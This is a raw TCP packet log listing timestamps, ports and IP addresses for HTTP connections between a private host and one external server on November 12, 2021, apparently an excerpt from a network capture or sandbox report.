Nov 12, 2021 22:24:22.753983974 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.754031897 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754057884 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.754097939 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.754108906 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754127979 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754143953 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754159927 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754164934 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.754179001 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754195929 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754270077 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754286051 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754302979 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754349947 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754364014 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754380941 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754398108 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754441977 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754456997 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754472971 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754560947 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754578114 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754595041 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754611015 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754626989 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754643917 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754659891 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754674911 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754689932 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754734993 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754831076 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754847050 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754863977 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754878998 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754894972 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.754910946 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.776570082 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.776690006 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.776822090 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.776917934 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.777077913 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.777287006 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.777302980 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.777313948 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.777324915 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.777334929 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.779814005 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.779946089 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.786079884 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.811887026 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.812063932 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.928319931 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.928617001 CET	50156	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.929780006 CET	50158	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.950902939 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.950984001 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.951056004 CET	80	50156	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.951118946 CET	50156	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.952120066 CET	80	50158	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.952389956 CET	50158	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.952966928 CET	50158	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.975908995 CET	80	50158	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.975950956 CET	80	50158	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.975958109 CET	80	50158	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.976038933 CET	50158	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.083012104 CET	50158	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.085059881 CET	50159	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.105470896 CET	80	50158	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.105566978 CET	50158	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.107381105 CET	80	50159	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.107539892 CET	50159	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.108228922 CET	50159	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.130577087 CET	80	50159	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.130594969 CET	80	50159	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.130636930 CET	80	50159	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.130686045 CET	50159	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.130731106 CET	50159	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.238466024 CET	50159	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.240045071 CET	50160	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.260987043 CET	80	50159	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.262895107 CET	80	50160	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.263058901 CET	50159	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.263596058 CET	50160	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.263624907 CET	50160	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.286191940 CET	80	50160	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.291662931 CET	80	50160	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.292313099 CET	50160	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.395246029 CET	50160	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.396478891 CET	50161	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.417716026 CET	80	50160	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.417956114 CET	50160	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.418956995 CET	80	50161	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.419693947 CET	50161	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.420593023 CET	50161	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.443072081 CET	80	50161	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.447393894 CET	80	50161	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.449631929 CET	50161	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.567435026 CET	50161	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.569046021 CET	50162	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.595294952 CET	80	50161	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.595320940 CET	80	50162	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.595406055 CET	50161	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.595504045 CET	50162	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.596543074 CET	50162	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.618901968 CET	80	50162	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.628241062 CET	80	50162	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.628407955 CET	50162	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.739372015 CET	50162	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.741089106 CET	50163	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.761859894 CET	80	50162	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.763662100 CET	50162	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.764930964 CET	80	50163	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.766994953 CET	50163	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.768141985 CET	50163	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.794715881 CET	80	50163	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.883717060 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.906116009 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.906306028 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.907134056 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.907504082 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.907520056 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.907634974 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.929440975 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.929714918 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.929737091 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.929757118 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.929774046 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.929791927 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.929809093 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.929826021 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.929831982 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.929891109 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.929908037 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.929934978 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.929953098 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.929969072 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.929987907 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.930027008 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.930042982 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.930058002 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.952228069 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952274084 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952279091 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952286959 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952290058 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952332020 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.952333927 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952342033 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952379942 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952387094 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.952397108 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952461958 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.952466011 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952512980 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952513933 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.952536106 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.952557087 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952573061 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952589989 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952593088 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.952601910 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952617884 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952630043 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952646017 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952646017 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.952656984 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.952666998 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.952698946 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.952749014 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.974838972 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.974874973 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.974886894 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.974903107 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.974919081 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.974934101 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975020885 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975035906 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975052118 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.975125074 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:23.975164890 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975183010 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975198030 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975213051 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975229025 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975244999 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975259066 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975302935 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975317001 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975354910 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975370884 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975384951 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975398064 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975411892 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975425959 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975440025 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975498915 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975512981 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975528002 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975542068 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975631952 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975649118 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975691080 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975708008 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975723982 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:23.975739002 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:24.014951944 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:24.384676933 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:24.384835958 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:24.800326109 CET	80	50163	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:24.800436020 CET	50163	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:24.926129103 CET	50163	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:24.926789999 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:24.929008961 CET	50165	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:24.948542118 CET	80	50163	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:24.948661089 CET	50163	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:24.948952913 CET	80	50164	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:24.949012041 CET	50164	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:24.951169968 CET	80	50165	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:24.951286077 CET	50165	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:24.966933966 CET	50165	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:24.989542961 CET	80	50165	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:24.992595911 CET	80	50165	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:24.992660999 CET	50165	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.176362991 CET	50165	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.178014994 CET	50166	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.194699049 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.198930979 CET	80	50165	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.199028015 CET	50165	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.200381994 CET	80	50166	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.200493097 CET	50166	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.201198101 CET	50166	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.217253923 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.217468023 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.217946053 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.218050957 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.218266010 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.218400955 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.223556995 CET	80	50166	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.226656914 CET	80	50166	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.226762056 CET	50166	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.240241051 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.240268946 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.240521908 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.240535975 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.240547895 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.240559101 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.240606070 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.240617037 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.240644932 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.240657091 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.240658045 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.240679026 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.240703106 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.240724087 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.240734100 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.240763903 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.240854979 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.240866899 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.262964010 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263014078 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263031960 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263044119 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263066053 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263094902 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.263113022 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263127089 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263134003 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263137102 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.263164043 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.263201952 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.263215065 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263226986 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263278961 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.263323069 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.263386965 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263401031 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263407946 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263416052 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263427973 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263437986 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263449907 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263458967 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263467073 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.263492107 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.263520956 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.263550997 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.263595104 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.285525084 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285552979 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285569906 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285583973 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285593987 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285609961 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285620928 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285630941 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285641909 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285651922 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285651922 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.285662889 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285674095 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285711050 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.285726070 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.285762072 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285765886 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.285782099 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285795927 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285805941 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285820961 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285830975 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285881996 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285897970 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285912037 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285945892 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285962105 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285979033 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.285993099 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.286034107 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.286047935 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.286063910 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.286077976 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.286093950 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.286153078 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.286169052 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.286183119 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.286200047 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.286216021 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.286226034 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.286236048 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.286251068 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.308119059 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.308203936 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.308255911 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.308461905 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.308653116 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.308707952 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.308760881 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.310971022 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.311096907 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.333106995 CET	50167	80	192.168.2.4	178.208.83.45
